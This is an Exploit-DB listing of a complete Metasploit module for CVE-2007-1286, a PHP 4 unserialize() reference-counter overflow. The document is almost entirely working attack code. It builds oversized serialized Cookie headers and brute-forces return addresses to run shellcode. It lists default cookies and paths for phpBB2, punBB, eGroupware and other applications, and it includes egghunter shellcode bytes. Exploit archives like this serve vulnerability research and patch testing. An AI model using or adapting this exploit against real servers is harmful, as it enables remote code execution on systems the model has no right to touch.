标题: PHP < 4.5.0 - Unserialize Overflow (Metasploit) EDB-ID: 9939 CVE: 2007-1286 类型: REMOTE 平台: PHP 发布日期: 2007-03-01 漏洞利用脚本: ##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to 
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote

 include Msf::Exploit::Remote::Tcp
 include Msf::Exploit::Remote::HttpClient
 include Msf::Exploit::Brute
 
 def initialize(info = {})
  super(update_info(info, 
   'Name'           => 'PHP 4 unserialize() ZVAL Reference Counter Overflow (Cookie)',
   'Description'    => %q{
    This module exploits an integer overflow vulnerability in the unserialize()
   function of the PHP web server extension. This vulnerability was patched by
   Stefan in version 4.5.0 and applies all previous versions supporting this function.
   This particular module targets numerous web applications and is based on the proof
   of concept provided by Stefan Esser. This vulnerability requires approximately 900k
   of data to trigger due the multiple Cookie headers requirement. Since we
   are already assuming a fast network connection, we use a 2Mb block of shellcode for
   the brute force, allowing quick exploitation for those with fast networks. 
   
   One of the neat things about this vulnerability is that on x86 systems, the EDI register points
   into the beginning of the hashtable string. This can be used with an egghunter to
   quickly exploit systems where the location of a valid "jmp EDI" or "call EDI" instruction
   is known. The EDI method is faster, but the bandwidth-intensive brute force used by this
   module is more reliable across a wider range of systems.
   
   
   },
   'Author'         => 
    [ 
     'hdm',                                        # module development
     'GML <grandmasterlogic [at] gmail.com>',      # module development and debugging
     'Stefan Esser <sesser [at] hardened-php.net>' # discovered, patched, exploited
    ], 
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision$',
   'References'     =>
    [
     ['CVE', '2007-1286'],
     ['OSVDB', '32771'],
     ['URL', 'http://www.php-security.org/MOPB/MOPB-04-2007.html'],
    ],
   'Privileged'     => false,
   'Payload'        =>
    {
     'Space'       => 1024,
    },
   'Targets'        => 
    [
    
     #
     # 64-bit SuSE:    0x005c0000
     # Backtrack 2.0:  0xb797a000
     # Gentoo:         0xb6900000
     #
     [ 'Linux x86 Generic', 
      {      
       'Platform'      => 'linux', 
       'Arch'          => [ ARCH_X86 ],
       'Bruteforce' => 
        {
         'Start' => { 'Ret' => 0xb6000400 },
         'Stop'  => { 'Ret' => 0xbfff0000 },
         'Step'  => 1024*1024
        }       
      }
     ],     
     [ 'Linux x86 phpBB2', 
      {
       'DefaultCookie' => 'phpbb2mysql_data',
       'DefaultURI'    => '/phpBB2/faq.php',
       'Signature'     => /Powered\s+by.*phpBB/,       
       'Platform'      => 'linux', 
       'Arch'          => [ ARCH_X86 ],
       'Bruteforce' => 
        {
         'Start' => { 'Ret' => 0xb6000400 },
         'Stop'  => { 'Ret' => 0xbfff0000 },
         'Step'  => 1024*1024
        }       
      }
     ],
     [ 'Linux x86 punBB', 
      {
       'DefaultCookie' => 'punbb_cookie',
       'DefaultURI'    => '/index.php',
       'Signature'     => /Powered\s+by.*PunBB/,
       'Platform'      => 'linux', 
       'Arch'          => [ ARCH_X86 ],
       'Bruteforce' => 
        {
         'Start' => { 'Ret' => 0xb6000400 },
         'Stop'  => { 'Ret' => 0xbfff0000 },
         'Step'  => 1024*1024
        }       
      }
     ],
     [ 'Linux x86 WWWThreads', 
      {
       'DefaultCookie' => 'forum_cookie',
       'DefaultURI'    => '/index.php',
       'Signature'     => /Powered\s+by.*WWWThreads/,
       'Platform'      => 'linux', 
       'Arch'          => [ ARCH_X86 ],
       'Bruteforce' => 
        {
         'Start' => { 'Ret' => 0xb6000400 },
         'Stop'  => { 'Ret' => 0xbfff0000 },
         'Step'  => 1024*1024
        }       
      }
     ],
     [ 'Linux x86 Deadman Redirect', 
      {
       'DefaultCookie' => 'authcookie',
       'DefaultURI'    => '/dmr/dmr.php',
       'Signature'     => /document\.f\.userdata\.focus/,
       'Platform'      => 'linux', 
       'Arch'          => [ ARCH_X86 ],
       'Bruteforce' => 
        {
         'Start' => { 'Ret' => 0xb6000400 },
         'Stop'  => { 'Ret' => 0xbfff0000 },
         'Step'  => 1024*1024
        }       
      }
     ],
     [ 'Linux x86 PhpWebGallery', 
      {
       'DefaultCookie' => 'pwg_remember',
       'DefaultURI'    => '/phpwebgallery/index.php',
       'Signature'     => /Powered\s+by.*phpwebgallery/msi,
       'Platform'      => 'linux', 
       'Arch'          => [ ARCH_X86 ],
       'Bruteforce' => 
        {
         'Start' => { 'Ret' => 0xb6000400 },
         'Stop'  => { 'Ret' => 0xbfff0000 },
         'Step'  => 1024*1024
        }       
      }
     ],
     [ 'Linux x86 Ariadne-CMS', 
      {
       'DefaultCookie' => 'ARCookie',
       'DefaultURI'    => '/ariadne/loader.php/',
       'Signature'     => /Ariadne is free software/,
       'Platform'      => 'linux', 
       'Arch'          => [ ARCH_X86 ],
       'Bruteforce' => 
        {
         'Start' => { 'Ret' => 0xb6000400 },
         'Stop'  => { 'Ret' => 0xbfff0000 },
         'Step'  => 1024*1024
        }       
      }
     ],
     [ 'Linux x86 ProMA', 
      {
       'DefaultCookie' => 'proma',
       'DefaultURI'    => '/proma/index.php',
       'Signature'     => /Change Account Information/,
       'Platform'      => 'linux', 
       'Arch'          => [ ARCH_X86 ],
       'Bruteforce' => 
        {
         'Start' => { 'Ret' => 0xb6000400 },
         'Stop'  => { 'Ret' => 0xbfff0000 },
         'Step'  => 1024*1024
        }       
      }
     ],             
     [ 'Linux x86 eGroupware', 
      {
       'DefaultCookie' => 'eGW_remember',
       'DefaultURI'    => '/egroupware/login.php',
       'Signature'     => /www.egroupware.org/,
       'Platform'      => 'linux', 
       'Arch'          => [ ARCH_X86 ],
       'Bruteforce' => 
        {
         'Start' => { 'Ret' => 0xb6000400 },
         'Stop'  => { 'Ret' => 0xbfff0000 },
         'Step'  => 1024*1024
        }       
      }
     ]      
    ],
   'DisclosureDate' => 'Mar 04 2007'))
   
   register_options(
    [
     OptString.new('URI', [false, "The path to vulnerable PHP script"]),
     OptString.new('COOKIENAME', [false, "The name of the cookie passed to unserialize()"])
    ], self.class)
 end


 def check
  print_status("Checking for a vulnerable PHP version...")

  #
  # Pick the URI and Cookie name
  #
  cookie_name = datastore['COOKIENAME'] || target['DefaultCookie']
  uri_path    = datastore['URI']        || target['DefaultURI']

  if(not cookie_name)
   raise RuntimeError, "The COOKIENAME option must be set"
  end
  
  if(not uri_path)
   raise RuntimeError, "The URI option must be set"
  end
    
  res = send_request_cgi({
   'uri'    => uri_path,
   'method'   => 'GET'
  }, 5)
  
  php_bug = false
  
  if (not res)
   print_status("No response from the server")
   return Exploit::CheckCode::Safe
  end
  
  if (res.code != 200)
   print_status("The server returned #{res.code} #{res.message}")
   return Exploit::CheckCode::Safe 
  end
  
  if (
   (res.headers['X-Powered-By'] and res.headers['X-Powered-By'] =~ /PHP\/(.*)/) or
   (res.headers['Server'] and res.headers['Server'] =~ /PHP\/(.*)/)
     )
     
   php_raw = $1
   php_ver = php_raw.split('.')

   if (php_ver[0].to_i == 4 and php_ver[1] and php_ver[2] and php_ver[1].to_i < 5)
    print_status("The server runs a vulnerable version of PHP (#{php_raw})")
    php_bug = true
   else
    print_status("The server runs a non-vulnerable version of PHP (#{php_raw})")
    return Exploit::CheckCode::Safe 
   end
  end
  
  # Detect the phpBB cookie name
  if (res.headers['Set-Cookie'] and res.headers['Set-Cookie'] =~ /(.*)_(sid|data)=/)
   print_status("The server may require a cookie name of '#{$1}_data'")
  end

  if(target and target['Signature'])
   if (res.body and res.body.match(target['Signature'])) 
    print_status("Detected target #{target.name}")
   else
    print_status("Did not detect target #{target.name}")
   end

  end

  return php_bug ? Exploit::CheckCode::Vulnerable : Exploit::CheckCode::Appears
 end


 def brute_exploit(target_addrs)
 
  zvalref   = encode_semis('i:0;R:2;')

#
# Use this if we decide to do 'jmp edi' returns vs brute force
#
=begin
  # Linux specific egg-hunter
  tagger = "\x90\x50\x90\x50"
  hunter = 
   "\xfc\x66\x81\xc9\xff\x0f\x41\x6a\x43\x58\xcd\x80" +
   "\x3c\xf2\x74\xf1\xb8" +
   tagger +
   "\x89\xcf\xaf\x75\xec\xaf\x75\xe9\xff\xe7"

  egghunter = "\xcc" * 39
  egghunter[0, hunter.length] = hunter
  
  hashtable = "\xcc" * 39
  hashtable[0, 2] = "\xeb\xc6" # jmp back 32 bytes
  
  hashtable[20, 4] = [target_addrs['Ret']].pack('V')
  hashtable[32, 4] = [target_addrs['Ret']].pack('V')
=end

  #
  # Just brute-force addresses for now
  # 
  tagger    = ''
  egghunter = rand_text_alphanumeric(39)
  hashtable = rand_text_alphanumeric(39)
  hashtable[20, 4] = [target_addrs['Ret']].pack('V')
  hashtable[32, 4] = [target_addrs['Ret']].pack('V')


  #
  # Pick the URI and Cookie name
  #
  cookie_name = datastore['COOKIENAME'] || target['DefaultCookie']
  uri_path    = datastore['URI']        || target['DefaultURI']

  if(not cookie_name)
   raise RuntimeError, "The COOKIENAME option must be set"
  end
  
  if(not uri_path)
   raise RuntimeError, "The URI option must be set"
  end
  
  # Generate and reuse the original buffer to save CPU
  if (not @saved_cookies)
  
   # Building the malicious request
   print_status("Creating the request...")
    
   # Create the first cookie header to get this started
   cookie_fun = "Cookie: #{cookie_name}="
   cookie_fun << Rex::Text.uri_encode(
    'a:100000:{s:8:"' + 
    rand_text_alphanumeric(8) +
    '";a:3:{s:12:"' + 
    rand_text_alphanumeric(12) + 
    '";a:1:{s:12:"' +
    rand_text_alphanumeric(12) +
    '";i:0;}s:12:"' +
    rand_text_alphanumeric(12) +
    '";'+
    'i:0;s:12:"' +
    rand_text_alphanumeric(12) +
    '";i:0;}'
   )
   cookie_fun << zvalref * 500
   cookie_fun << Rex::Text.uri_encode('s:2:"')
   cookie_fun << "\r\n"

   refcnt = 1000
   refmax = 65535

   # Keep adding cookie headers...
   while(refcnt < refmax) 

    chead   = 'Cookie: ';
    chead  << encode_semis('";N;')

    # Stay within the 8192 byte limit
    0.upto(679) do |i|
     break if refcnt >= refmax
     refcnt += 1

     chead << zvalref
    end
    chead << encode_semis('s:2:"')
    cookie_fun << chead + "\r\n"
   end

   # The final header, including the hashtable with return address
   cookie_fun << "Cookie: "
   cookie_fun << Rex::Text.uri_encode('";N;')
   cookie_fun << zvalref * 500 
   
   @saved_cookies = cookie_fun
  end

  # Generate and reuse the payload to save CPU time
  if (not @saved_payload)
   @saved_payload = ((tagger + tagger + make_nops(8192) + payload.encoded) * 256)
  end
  
  cookie_addrs = Rex::Text.uri_encode(
   's:39:"' + egghunter + '";s:39:"'+ hashtable +'";i:0;R:3;'
  ) + "\r\n"

  print_status("Trying address 0x%.8x..." % target_addrs['Ret'])
  res = send_request_cgi({
   'uri'    => uri_path,
   'method'   => 'POST',
   'raw_headers' => @saved_cookies + cookie_addrs,
   'data'        => @saved_payload
  }, 1)

  
  if res
   failed = false
   
   print_status("Received a response: #{res.code} #{res.message}")

   if (res.code != 200)
    print_status("The server returned a non-200 response, indicating that the exploit failed.")
    failed = true   
   end
      
   if (not failed and (res.body and res.body.length > 0))
    print_status("The server returned a real response, indicating that the exploit failed.")
    failed = true
   end
   
   if (failed)
    print_status("Please verify the URI and COOKIENAME parameters.")
    print_line('')
    print_line("*" * 40)
    print_line(res.body)
    print_line("*" * 40)
    print_line('')
        
    raise RuntimeError, "Exploit settings are probably wrong"    
   end
  else
   print_status("No response from the server")
  end

 end

 def encode_semis(str)
  str.gsub(';') { |s| sprintf("%%%.2x", s[0]) }
 end

end URL: https://www.exploit-db.com/exploits/9939